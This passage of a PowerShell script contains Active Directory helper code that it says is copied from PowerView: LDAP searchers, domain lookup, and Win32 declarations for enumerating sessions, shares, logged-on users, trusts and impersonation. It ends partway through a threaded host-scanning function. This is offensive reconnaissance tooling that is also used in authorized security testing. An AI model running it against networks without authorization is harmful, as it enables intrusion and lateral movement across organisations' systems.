ADS/LDAP search base (i.e. OU).\r\n\r\n.OUTPUTS\r\n\r\nSystem.DirectoryServices.DirectorySearcher\r\n#>\r\n\r\n    [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]\r\n    [OutputType('System.DirectoryServices.DirectorySearcher')]\r\n    [CmdletBinding()]\r\n    Param(\r\n        [Parameter(ValueFromPipeline = $True)]\r\n        [ValidateNotNullOrEmpty()]\r\n        [String]\r\n        $Domain,\r\n\r\n        [ValidateNotNullOrEmpty()]\r\n        [Alias('Filter')]\r\n        [String]\r\n        $LDAPFilter,\r\n\r\n        [ValidateNotNullOrEmpty()]\r\n        [String[]]\r\n        $Properties,\r\n\r\n        [ValidateNotNullOrEmpty()]\r\n        [Alias('ADSPath')]\r\n        [String]\r\n        $SearchBase,\r\n\r\n        [ValidateNotNullOrEmpty()]\r\n        [String]\r\n        $SearchBasePrefix,\r\n\r\n        [ValidateNotNullOrEmpty()]\r\n        [Alias('DomainController')]\r\n        [String]\r\n        $Server,\r\n\r\n        [ValidateSet('Base', 'OneLevel', 'Subtree')]\r\n        [String]\r\n        $SearchScope = 'Subtree',\r\n\r\n        [ValidateRange(1, 10000)]\r\n        [Int]\r\n        $ResultPageSize = 200,\r\n\r\n        [ValidateRange(1, 10000)]\r\n        [Int]\r\n        $ServerTimeLimit = 120,\r\n\r\n        [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]\r\n        [String]\r\n        $SecurityMasks,\r\n\r\n        [Switch]\r\n        $Tombstone,\r\n\r\n        [Management.Automation.PSCredential]\r\n        [Management.Automation.CredentialAttribute()]\r\n        $Credential = [Management.Automation.PSCredential]::Empty\r\n    )\r\n\r\n    PROCESS {\r\n        if ($PSBoundParameters['Domain']) {\r\n            $TargetDomain = $Domain\r\n\r\n            if ($ENV:USERDNSDOMAIN -and ($ENV:USERDNSDOMAIN.Trim() -ne '')) {\r\n                # see if we can grab the user DNS logon domain from environment variables\r\n                $UserDomain = $ENV:USERDNSDOMAIN\r\n                if ($ENV:LOGONSERVER -and ($ENV:LOGONSERVER.Trim() -ne '') -and $UserDomain) {\r\n                    $BindServer = \"$($ENV:LOGONSERVER -replace '\\\\','').$UserDomain\"\r\n                }\r\n            }\r\n        }\r\n        elseif ($PSBoundParameters['Credential']) {\r\n            # if not -Domain is specified, but -Credential is, try to retrieve the current domain name with Get-Domain\r\n            $DomainObject = Get-Domain -Credential $Credential\r\n            $BindServer = ($DomainObject.PdcRoleOwner).Name\r\n            $TargetDomain = $DomainObject.Name\r\n        }\r\n        elseif ($ENV:USERDNSDOMAIN -and ($ENV:USERDNSDOMAIN.Trim() -ne '')) {\r\n            # see if we can grab the user DNS logon domain from environment variables\r\n            $TargetDomain = $ENV:USERDNSDOMAIN\r\n            if ($ENV:LOGONSERVER -and ($ENV:LOGONSERVER.Trim() -ne '') -and $TargetDomain) {\r\n                $BindServer = \"$($ENV:LOGONSERVER -replace '\\\\','').$TargetDomain\"\r\n            }\r\n        }\r\n        else {\r\n            # otherwise, resort to Get-Domain to retrieve the current domain object\r\n            write-verbose \"get-domain\"\r\n            $DomainObject = Get-Domain\r\n            $BindServer = ($DomainObject.PdcRoleOwner).Name\r\n            $TargetDomain = $DomainObject.Name\r\n        }\r\n\r\n        if ($PSBoundParameters['Server']) {\r\n            # if there's not a specified server to bind to, try to pull a logon server from ENV variables\r\n            $BindServer = $Server\r\n        }\r\n\r\n        $SearchString = 'LDAP://'\r\n\r\n        if ($BindServer -and ($BindServer.Trim() -ne '')) {\r\n            $SearchString += $BindServer\r\n            if ($TargetDomain) {\r\n                $SearchString += '/'\r\n            }\r\n        }\r\n\r\n        if ($PSBoundParameters['SearchBasePrefix']) {\r\n            $SearchString += $SearchBasePrefix + ','\r\n        }\r\n\r\n        if ($PSBoundParameters['SearchBase']) {\r\n            if ($SearchBase -Match '^GC://') {\r\n                # if we're searching the global catalog, get the path in the right format\r\n                $DN = $SearchBase.ToUpper().Trim('/')\r\n                $SearchString = ''\r\n            }\r\n            else {\r\n                if ($SearchBase -match '^LDAP://') {\r\n                    if ($SearchBase -match \"LDAP://.+/.+\") {\r\n                        $SearchString = ''\r\n                        $DN = $SearchBase\r\n                    }\r\n                    else {\r\n                        $DN = $SearchBase.SubString(7)\r\n                    }\r\n                }\r\n                else {\r\n                    $DN = $SearchBase\r\n                }\r\n            }\r\n        }\r\n        else {\r\n            # transform the target domain name into a distinguishedName if an ADS search base is not specified\r\n            if ($TargetDomain -and ($TargetDomain.Trim() -ne '')) {\r\n                $DN = \"DC=$($TargetDomain.Replace('.', ',DC='))\"\r\n            }\r\n        }\r\n\r\n        $SearchString += $DN\r\n        Write-Verbose \"[Get-DomainSearcher] search base: $SearchString\"\r\n\r\n        if ($Credential -ne [Management.Automation.PSCredential]::Empty) {\r\n            Write-Verbose \"[Get-DomainSearcher] Using alternate credentials for LDAP connection\"\r\n            # bind to the inital search object using alternate credentials\r\n            $DomainObject = New-Object DirectoryServices.DirectoryEntry($SearchString, $Credential.UserName, $Credential.GetNetworkCredential().Password)\r\n            $Searcher = New-Object System.DirectoryServices.DirectorySearcher($DomainObject)\r\n        }\r\n        else {\r\n            # bind to the inital object using the current credentials\r\n            $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)\r\n        }\r\n\r\n        $Searcher.PageSize = $ResultPageSize\r\n        $Searcher.SearchScope = $SearchScope\r\n        $Searcher.CacheResults = $False\r\n        $Searcher.ReferralChasing = [System.DirectoryServices.ReferralChasingOption]::All\r\n\r\n        if ($PSBoundParameters['ServerTimeLimit']) {\r\n            $Searcher.ServerTimeLimit = $ServerTimeLimit\r\n        }\r\n\r\n        if ($PSBoundParameters['Tombstone']) {\r\n            $Searcher.Tombstone = $True\r\n        }\r\n\r\n        if ($PSBoundParameters['LDAPFilter']) {\r\n            $Searcher.filter = $LDAPFilter\r\n        }\r\n\r\n        if ($PSBoundParameters['SecurityMasks']) {\r\n            $Searcher.SecurityMasks = Switch ($SecurityMasks) {\r\n                'Dacl' { [System.DirectoryServices.SecurityMasks]::Dacl }\r\n                'Group' { [System.DirectoryServices.SecurityMasks]::Group }\r\n                'None' { [System.DirectoryServices.SecurityMasks]::None }\r\n                'Owner' { [System.DirectoryServices.SecurityMasks]::Owner }\r\n                'Sacl' { [System.DirectoryServices.SecurityMasks]::Sacl }\r\n            }\r\n        }\r\n\r\n        if ($PSBoundParameters['Properties']) {\r\n            # handle an array of properties to load w/ the possibility of comma-separated strings\r\n            $PropertiesToLoad = $Properties| ForEach-Object { $_.Split(',') }\r\n            $Null = $Searcher.PropertiesToLoad.AddRange(($PropertiesToLoad))\r\n        }\r\n\r\n        $Searcher\r\n    }\r\n}\r\n\r\n\r\nfunction Convert-LDAPProperty {\r\n<#\r\n.SYNOPSIS\r\n\r\nHelper that converts specific LDAP property result fields and outputs\r\na custom psobject.\r\n\r\nAuthor: Will Schroeder (@harmj0y)  \r\nLicense: BSD 3-Clause  \r\nRequired Dependencies: None  \r\n\r\n.DESCRIPTION\r\n\r\nConverts a set of raw LDAP properties results from ADSI/LDAP searches\r\ninto a proper PSObject. Used by several of the Get-Domain* function.\r\n\r\n.PARAMETER Properties\r\n\r\nProperties object to extract out LDAP fields for display.\r\n\r\n.OUTPUTS\r\n\r\nSystem.Management.Automation.PSCustomObject\r\n\r\nA custom PSObject with LDAP hashtable properties translated.\r\n#>\r\n\r\n    [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]\r\n    [OutputType('System.Management.Automation.PSCustomObject')]\r\n    [CmdletBinding()]\r\n    Param(\r\n        [Parameter(Mandatory = $True, ValueFromPipeline = $True)]\r\n        [ValidateNotNullOrEmpty()]\r\n        $Properties\r\n    )\r\n\r\n    $ObjectProperties = @{}\r\n\r\n    $Properties.PropertyNames | ForEach-Object {\r\n        if ($_ -ne 'adspath') {\r\n            if (($_ -eq 'objectsid') -or ($_ -eq 'sidhistory')) {\r\n                # convert all listed sids (i.e. if multiple are listed in sidHistory)\r\n                $ObjectProperties[$_] = $Properties[$_] | ForEach-Object { (New-Object System.Security.Principal.SecurityIdentifier($_, 0)).Value }\r\n            }\r\n            elseif ($_ -eq 'grouptype') {\r\n                $ObjectProperties[$_] = $Properties[$_][0] -as $GroupTypeEnum\r\n            }\r\n            elseif ($_ -eq 'samaccounttype') {\r\n                $ObjectProperties[$_] = $Properties[$_][0] -as $SamAccountTypeEnum\r\n            }\r\n            elseif ($_ -eq 'objectguid') {\r\n                # convert the GUID to a string\r\n                $ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid\r\n            }\r\n            elseif ($_ -eq 'useraccountcontrol') {\r\n                $ObjectProperties[$_] = $Properties[$_][0] -as $UACEnum\r\n            }\r\n            elseif ($_ -eq 'ntsecuritydescriptor') {\r\n                # $ObjectProperties[$_] = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0\r\n                $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0\r\n                if ($Descriptor.Owner) {\r\n                    $ObjectProperties['Owner'] = $Descriptor.Owner\r\n                }\r\n                if ($Descriptor.Group) {\r\n                    $ObjectProperties['Group'] = $Descriptor.Group\r\n                }\r\n                if ($Descriptor.DiscretionaryAcl) {\r\n                    $ObjectProperties['DiscretionaryAcl'] = $Descriptor.DiscretionaryAcl\r\n                }\r\n                if ($Descriptor.SystemAcl) {\r\n                    $ObjectProperties['SystemAcl'] = $Descriptor.SystemAcl\r\n                }\r\n            }\r\n            elseif ($_ -eq 'accountexpires') {\r\n                if ($Properties[$_][0] -gt [DateTime]::MaxValue.Ticks) {\r\n                    $ObjectProperties[$_] = \"NEVER\"\r\n                }\r\n                else {\r\n                    $ObjectProperties[$_] = [datetime]::fromfiletime($Properties[$_][0])\r\n                }\r\n            }\r\n            elseif ( ($_ -eq 'lastlogon') -or ($_ -eq 'lastlogontimestamp') -or ($_ -eq 'pwdlastset') -or ($_ -eq 'lastlogoff') -or ($_ -eq 'badPasswordTime') ) {\r\n                # convert timestamps\r\n                if ($Properties[$_][0] -is [System.MarshalByRefObject]) {\r\n                    # if we have a System.__ComObject\r\n                    $Temp = $Properties[$_][0]\r\n                    [Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)\r\n                    [Int32]$Low  = $Temp.GetType().InvokeMember('LowPart',  [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)\r\n                    $ObjectProperties[$_] = ([datetime]::FromFileTime([Int64](\"0x{0:x8}{1:x8}\" -f $High, $Low)))\r\n                }\r\n                else {\r\n                    # otherwise just a string\r\n                    $ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0])))\r\n                }\r\n            }\r\n            elseif ($Properties[$_][0] -is [System.MarshalByRefObject]) {\r\n                # try to convert misc com objects\r\n                $Prop = $Properties[$_]\r\n                try {\r\n                    $Temp = $Prop[$_][0]\r\n                    [Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)\r\n                    [Int32]$Low  = $Temp.GetType().InvokeMember('LowPart',  [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)\r\n                    $ObjectProperties[$_] = [Int64](\"0x{0:x8}{1:x8}\" -f $High, $Low)\r\n                }\r\n                catch {\r\n                    Write-Verbose \"[Convert-LDAPProperty] error: $_\"\r\n                    $ObjectProperties[$_] = $Prop[$_]\r\n                }\r\n            }\r\n            elseif ($Properties[$_].count -eq 1) {\r\n                $ObjectProperties[$_] = $Properties[$_][0]\r\n            }\r\n            else {\r\n                $ObjectProperties[$_] = $Properties[$_]\r\n            }\r\n        }\r\n    }\r\n    try {\r\n        New-Object -TypeName PSObject -Property $ObjectProperties\r\n    }\r\n    catch {\r\n        Write-Warning \"[Convert-LDAPProperty] Error parsing LDAP properties : $_\"\r\n    }\r\n}\r\n\r\nfunction Get-Domain {\r\n<#\r\n.SYNOPSIS\r\n\r\nReturns the domain object for the current (or specified) domain.\r\n\r\nAuthor: Will Schroeder (@harmj0y)  \r\nLicense: BSD 3-Clause  \r\nRequired Dependencies: None  \r\n\r\n.DESCRIPTION\r\n\r\nReturns a System.DirectoryServices.ActiveDirectory.Domain object for the current\r\ndomain or the domain specified with -Domain X.\r\n\r\n.PARAMETER Domain\r\n\r\nSpecifies the domain name to query for, defaults to the current domain.\r\n\r\n.PARAMETER Credential\r\n\r\nA [Management.Automation.PSCredential] object of alternate credentials\r\nfor connection to the target domain.\r\n\r\n.EXAMPLE\r\n\r\nGet-Domain -Domain testlab.local\r\n\r\n.EXAMPLE\r\n\r\n$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force\r\n$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\\dfm.a', $SecPassword)\r\nGet-Domain -Credential $Cred\r\n\r\n.OUTPUTS\r\n\r\nSystem.DirectoryServices.ActiveDirectory.Domain\r\n\r\nA complex .NET domain object.\r\n\r\n.LINK\r\n\r\nhttp://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG\r\n#>\r\n\r\n    [OutputType([System.DirectoryServices.ActiveDirectory.Domain])]\r\n    [CmdletBinding()]\r\n    Param(\r\n        [Parameter(Position = 0, ValueFromPipeline = $True)]\r\n        [ValidateNotNullOrEmpty()]\r\n        [String]\r\n        $Domain,\r\n\r\n        [Management.Automation.PSCredential]\r\n        [Management.Automation.CredentialAttribute()]\r\n        $Credential = [Management.Automation.PSCredential]::Empty\r\n    )\r\n\r\n    PROCESS {\r\n        if ($PSBoundParameters['Credential']) {\r\n\r\n            Write-Verbose '[Get-Domain] Using alternate credentials for Get-Domain'\r\n\r\n            if ($PSBoundParameters['Domain']) {\r\n                $TargetDomain = $Domain\r\n            }\r\n            else {\r\n                # if no domain is supplied, extract the logon domain from the PSCredential passed\r\n                $TargetDomain = $Credential.GetNetworkCredential().Domain\r\n                Write-Verbose \"[Get-Domain] Extracted domain '$TargetDomain' from -Credential\"\r\n            }\r\n\r\n            $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $TargetDomain, $Credential.UserName, $Credential.GetNetworkCredential().Password)\r\n\r\n            try {\r\n                [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)\r\n            }\r\n            catch {\r\n                Write-Verbose \"[Get-Domain] The specified domain '$TargetDomain' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_\"\r\n            }\r\n        }\r\n        elseif ($PSBoundParameters['Domain']) {\r\n            $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)\r\n            try {\r\n                [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)\r\n            }\r\n            catch {\r\n                Write-Verbose \"[Get-Domain] The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust : $_\"\r\n            }\r\n        }\r\n        else {\r\n            try {\r\n                [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()\r\n            }\r\n            catch {\r\n                Write-Verbose \"[Get-Domain] Error retrieving the current domain: $_\"\r\n            }\r\n        }\r\n    }\r\n}\r\n\r\n$Mod = New-InMemoryModule -ModuleName Win32\r\n\r\n# [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPositionalParameters', Scope='Function', Target='psenum')]\r\n\r\n# used to parse the 'samAccountType' property for users/computers/groups\r\n$SamAccountTypeEnum = psenum $Mod PowerView.SamAccountTypeEnum UInt32 @{\r\n    DOMAIN_OBJECT                   =   '0x00000000'\r\n    GROUP_OBJECT                    =   '0x10000000'\r\n    NON_SECURITY_GROUP_OBJECT       =   '0x10000001'\r\n    ALIAS_OBJECT                    =   '0x20000000'\r\n    NON_SECURITY_ALIAS_OBJECT       =   '0x20000001'\r\n    USER_OBJECT                     =   '0x30000000'\r\n    MACHINE_ACCOUNT                 =   '0x30000001'\r\n    TRUST_ACCOUNT                   =   '0x30000002'\r\n    APP_BASIC_GROUP                 =   '0x40000000'\r\n    APP_QUERY_GROUP                 =   '0x40000001'\r\n    ACCOUNT_TYPE_MAX                =   '0x7fffffff'\r\n}\r\n\r\n# used to parse the 'grouptype' property for groups\r\n$GroupTypeEnum = psenum $Mod PowerView.GroupTypeEnum UInt32 @{\r\n    CREATED_BY_SYSTEM               =   '0x00000001'\r\n    GLOBAL_SCOPE                    =   '0x00000002'\r\n    DOMAIN_LOCAL_SCOPE              =   '0x00000004'\r\n    UNIVERSAL_SCOPE                 =   '0x00000008'\r\n    APP_BASIC                       =   '0x00000010'\r\n    APP_QUERY                       =   '0x00000020'\r\n    SECURITY                        =   '0x80000000'\r\n} -Bitfield\r\n\r\n# used to parse the 'userAccountControl' property for users/groups\r\n$UACEnum = psenum $Mod PowerView.UACEnum UInt32 @{\r\n    SCRIPT                          =   1\r\n    ACCOUNTDISABLE                  =   2\r\n    HOMEDIR_REQUIRED                =   8\r\n    LOCKOUT                         =   16\r\n    PASSWD_NOTREQD                  =   32\r\n    PASSWD_CANT_CHANGE              =   64\r\n    ENCRYPTED_TEXT_PWD_ALLOWED      =   128\r\n    TEMP_DUPLICATE_ACCOUNT          =   256\r\n    NORMAL_ACCOUNT                  =   512\r\n    INTERDOMAIN_TRUST_ACCOUNT       =   2048\r\n    WORKSTATION_TRUST_ACCOUNT       =   4096\r\n    SERVER_TRUST_ACCOUNT            =   8192\r\n    DONT_EXPIRE_PASSWORD            =   65536\r\n    MNS_LOGON_ACCOUNT               =   131072\r\n    SMARTCARD_REQUIRED              =   262144\r\n    TRUSTED_FOR_DELEGATION          =   524288\r\n    NOT_DELEGATED                   =   1048576\r\n    USE_DES_KEY_ONLY                =   2097152\r\n    DONT_REQ_PREAUTH                =   4194304\r\n    PASSWORD_EXPIRED                =   8388608\r\n    TRUSTED_TO_AUTH_FOR_DELEGATION  =   16777216\r\n    PARTIAL_SECRETS_ACCOUNT         =   67108864\r\n} -Bitfield\r\n\r\n# enum used by $WTS_SESSION_INFO_1 below\r\n$WTSConnectState = psenum $Mod WTS_CONNECTSTATE_CLASS UInt16 @{\r\n    Active       =    0\r\n    Connected    =    1\r\n    ConnectQuery =    2\r\n    Shadow       =    3\r\n    Disconnected =    4\r\n    Idle         =    5\r\n    Listen       =    6\r\n    Reset        =    7\r\n    Down         =    8\r\n    Init         =    9\r\n}\r\n\r\n# the WTSEnumerateSessionsEx result structure\r\n$WTS_SESSION_INFO_1 = struct $Mod PowerView.RDPSessionInfo @{\r\n    ExecEnvId = field 0 UInt32\r\n    State = field 1 $WTSConnectState\r\n    SessionId = field 2 UInt32\r\n    pSessionName = field 3 String -MarshalAs @('LPWStr')\r\n    pHostName = field 4 String -MarshalAs @('LPWStr')\r\n    pUserName = field 5 String -MarshalAs @('LPWStr')\r\n    pDomainName = field 6 String -MarshalAs @('LPWStr')\r\n    pFarmName = field 7 String -MarshalAs @('LPWStr')\r\n}\r\n\r\n# the particular WTSQuerySessionInformation result structure\r\n$WTS_CLIENT_ADDRESS = struct $mod WTS_CLIENT_ADDRESS @{\r\n    AddressFamily = field 0 UInt32\r\n    Address = field 1 Byte[] -MarshalAs @('ByValArray', 20)\r\n}\r\n\r\n# the NetShareEnum result structure\r\n$SHARE_INFO_1 = struct $Mod PowerView.ShareInfo @{\r\n    Name = field 0 String -MarshalAs @('LPWStr')\r\n    Type = field 1 UInt32\r\n    Remark = field 2 String -MarshalAs @('LPWStr')\r\n}\r\n\r\n# the NetWkstaUserEnum result structure\r\n$WKSTA_USER_INFO_1 = struct $Mod PowerView.LoggedOnUserInfo @{\r\n    UserName = field 0 String -MarshalAs @('LPWStr')\r\n    LogonDomain = field 1 String -MarshalAs @('LPWStr')\r\n    AuthDomains = field 2 String -MarshalAs @('LPWStr')\r\n    LogonServer = field 3 String -MarshalAs @('LPWStr')\r\n}\r\n\r\n# the NetSessionEnum result structure\r\n$SESSION_INFO_10 = struct $Mod PowerView.SessionInfo @{\r\n    CName = field 0 String -MarshalAs @('LPWStr')\r\n    UserName = field 1 String -MarshalAs @('LPWStr')\r\n    Time = field 2 UInt32\r\n    IdleTime = field 3 UInt32\r\n}\r\n\r\n# enum used by $LOCALGROUP_MEMBERS_INFO_2 below\r\n$SID_NAME_USE = psenum $Mod SID_NAME_USE UInt16 @{\r\n    SidTypeUser             = 1\r\n    SidTypeGroup            = 2\r\n    SidTypeDomain           = 3\r\n    SidTypeAlias            = 4\r\n    SidTypeWellKnownGroup   = 5\r\n    SidTypeDeletedAccount   = 6\r\n    SidTypeInvalid          = 7\r\n    SidTypeUnknown          = 8\r\n    SidTypeComputer         = 9\r\n}\r\n\r\n# the NetLocalGroupEnum result structure\r\n$LOCALGROUP_INFO_1 = struct $Mod LOCALGROUP_INFO_1 @{\r\n    lgrpi1_name = field 0 String -MarshalAs @('LPWStr')\r\n    lgrpi1_comment = field 1 String -MarshalAs @('LPWStr')\r\n}\r\n\r\n# the NetLocalGroupGetMembers result structure\r\n$LOCALGROUP_MEMBERS_INFO_2 = struct $Mod LOCALGROUP_MEMBERS_INFO_2 @{\r\n    lgrmi2_sid = field 0 IntPtr\r\n    lgrmi2_sidusage = field 1 $SID_NAME_USE\r\n    lgrmi2_domainandname = field 2 String -MarshalAs @('LPWStr')\r\n}\r\n\r\n# enums used in DS_DOMAIN_TRUSTS\r\n$DsDomainFlag = psenum $Mod DsDomain.Flags UInt32 @{\r\n    IN_FOREST       = 1\r\n    DIRECT_OUTBOUND = 2\r\n    TREE_ROOT       = 4\r\n    PRIMARY         = 8\r\n    NATIVE_MODE     = 16\r\n    DIRECT_INBOUND  = 32\r\n} -Bitfield\r\n$DsDomainTrustType = psenum $Mod DsDomain.TrustType UInt32 @{\r\n    DOWNLEVEL   = 1\r\n    UPLEVEL     = 2\r\n    MIT         = 3\r\n    DCE         = 4\r\n}\r\n$DsDomainTrustAttributes = psenum $Mod DsDomain.TrustAttributes UInt32 @{\r\n    NON_TRANSITIVE      = 1\r\n    UPLEVEL_ONLY        = 2\r\n    FILTER_SIDS         = 4\r\n    FOREST_TRANSITIVE   = 8\r\n    CROSS_ORGANIZATION  = 16\r\n    WITHIN_FOREST       = 32\r\n    TREAT_AS_EXTERNAL   = 64\r\n}\r\n\r\n# the DsEnumerateDomainTrusts result structure\r\n$DS_DOMAIN_TRUSTS = struct $Mod DS_DOMAIN_TRUSTS @{\r\n    NetbiosDomainName = field 0 String -MarshalAs @('LPWStr')\r\n    DnsDomainName = field 1 String -MarshalAs @('LPWStr')\r\n    Flags = field 2 $DsDomainFlag\r\n    ParentIndex = field 3 UInt32\r\n    TrustType = field 4 $DsDomainTrustType\r\n    TrustAttributes = field 5 $DsDomainTrustAttributes\r\n    DomainSid = field 6 IntPtr\r\n    DomainGuid = field 7 Guid\r\n}\r\n\r\n# used by WNetAddConnection2W\r\n$NETRESOURCEW = struct $Mod NETRESOURCEW @{\r\n    dwScope =         field 0 UInt32\r\n    dwType =          field 1 UInt32\r\n    dwDisplayType =   field 2 UInt32\r\n    dwUsage =         field 3 UInt32\r\n    lpLocalName =     field 4 String -MarshalAs @('LPWStr')\r\n    lpRemoteName =    field 5 String -MarshalAs @('LPWStr')\r\n    lpComment =       field 6 String -MarshalAs @('LPWStr')\r\n    lpProvider =      field 7 String -MarshalAs @('LPWStr')\r\n}\r\n\r\n# all of the Win32 API functions we need\r\n$FunctionDefinitions = @(\r\n    (func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),\r\n    (func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),\r\n    (func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),\r\n    (func netapi32 NetLocalGroupEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),\r\n    (func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),\r\n    (func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())),\r\n    (func netapi32 DsEnumerateDomainTrusts ([Int]) @([String], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType())),\r\n    (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])),\r\n    (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError),\r\n    (func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int]) -SetLastError),\r\n    (func advapi32 CloseServiceHandle ([Int]) @([IntPtr])),\r\n    (func advapi32 LogonUser ([Bool]) @([String], [String], [String], [UInt32], [UInt32], [IntPtr].MakeByRefType()) -SetLastError),\r\n    (func advapi32 ImpersonateLoggedOnUser ([Bool]) @([IntPtr]) -SetLastError),\r\n    (func advapi32 RevertToSelf ([Bool]) @() -SetLastError),\r\n    (func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])),\r\n    (func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError),\r\n    (func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError),\r\n    (func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])),\r\n    (func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])),\r\n    (func wtsapi32 WTSCloseServer ([Int]) @([IntPtr])),\r\n    (func Mpr WNetAddConnection2W ([Int]) @($NETRESOURCEW, [String], [String], [UInt32])),\r\n    (func Mpr WNetCancelConnection2 ([Int]) @([String], [Int], [Bool])),\r\n    (func kernel32 CloseHandle ([Bool]) @([IntPtr]) -SetLastError)\r\n)\r\n\r\n$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'\r\n$Netapi32 = $Types['netapi32']\r\n$Advapi32 = $Types['advapi32']\r\n$Wtsapi32 = $Types['wtsapi32']\r\n$Mpr = $Types['Mpr']\r\n$Kernel32 = $Types['kernel32']\r\n\r\n\r\n\r\n\r\n################################## END OF CODE COPIED FROM POWERVIEW #########################\r\n#########(Thanks @harmj0y, @mattifestation, and anyone else who has worked on PowerView!)#####\r\n\r\n\r\n\r\n\r\nfunction Invoke-ThreadedFunction {\r\n    [CmdletBinding()]\r\n    param(\r\n        [Parameter(Position=0,Mandatory=$True)]\r\n        [String[]]\r\n        $ComputerName,\r\n\r\n        [Parameter(Position=1,Mandatory=$True)]\r\n        [System.Management.Automation.ScriptBlock]\r\n        $ScriptBlock,\r\n\r\n        [Parameter(Position=2)]\r\n        [Hashtable]\r\n        $ScriptParameters,\r\n\r\n        [Int]\r\n        $Threads = 5\r\n    )\r\n\r\n    begin {\r\n\r\n        if ($PSBoundParameters['Debug']) {\r\n            $DebugPreference = 'Continue'\r\n        }\r\n\r\n        Write-Verbose \"[*] Total number of hosts: $($ComputerName.count)\"\r\n        $counttotal = $ComputerName.count\r\n        Write-Output \"[*] Scanning $counttotal hosts with $Threads threads.\"\r\n        # Adapted from:\r\n        #   http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/\r\n        $SessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault()\r\n        $SessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState()\r\n\r\n        # threading adapted from\r\n        # https://github.com/darkoperator/Posh-SecMod/blob/master/Discovery/Discovery.psm1#L407\r\n        #   Thanks Carlos!\r\n        # create a pool of maxThread runspaces\r\n        $Pool = [runspacefactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host)\r\n        $Pool.Open()\r\n\r\n        $Jobs = @()\r\n        $PS = @()\r\n        $Wait = @()\r\n\r\n        $Counter = 0\r\n    }\r\n\r\n    process {\r\n        \r\n        ##I was running into a weird issue where the first set of threads were not providing results.\r\n        ##A super hacky and terrible fix was to just spin up the number of threads specified with localhost as target.\r\n        ##localhost never actually gets scanned it just runs \"Get-Date\" for each thread and for whatever reason all the\r\n        ##other threads appear to work now... ¯\\_(ツ)_/¯ @dafthack\r\n        \r\n        $countb= 0\r\n        while($countb -lt $threads){\r\n\r\n\r\n        # make sure we get a server name\r\n            if ($Computer -ne '') {\r\n\r\n                While ($($Pool.GetAvailableRunspaces()) -le 0) {\r\n                    Start-Sleep -MilliSeconds 2000\r\n                }\r\n                $computer = \"127.0.0.1\"\r\n                # create a \"powershell pipeline runner\"\r\n                $PS += [powershell]::create()\r\n                $PS[$Counter].runspacepool = $Pool\r\n\r\n                # add the script block + arguments\r\n                $Null = $PS[$Counter].AddScript($ScriptBlock).AddParameter('Hostlist', $Computer)\r\n                if($ScriptParameters) {\r\n                    ForEach ($Param in $ScriptParameters.GetEnumerator()) {\r\n                        $Null = $PS[$Counter].AddParameter($Param.Name, $Param.Value)\r\n                    }\r\n                }\r\n\r\n                # start job\r\n                $Jobs += $PS[$Counter].BeginInvoke();\r\n\r\n                # store wait handles for WaitForAll call\r\n                $Wait += 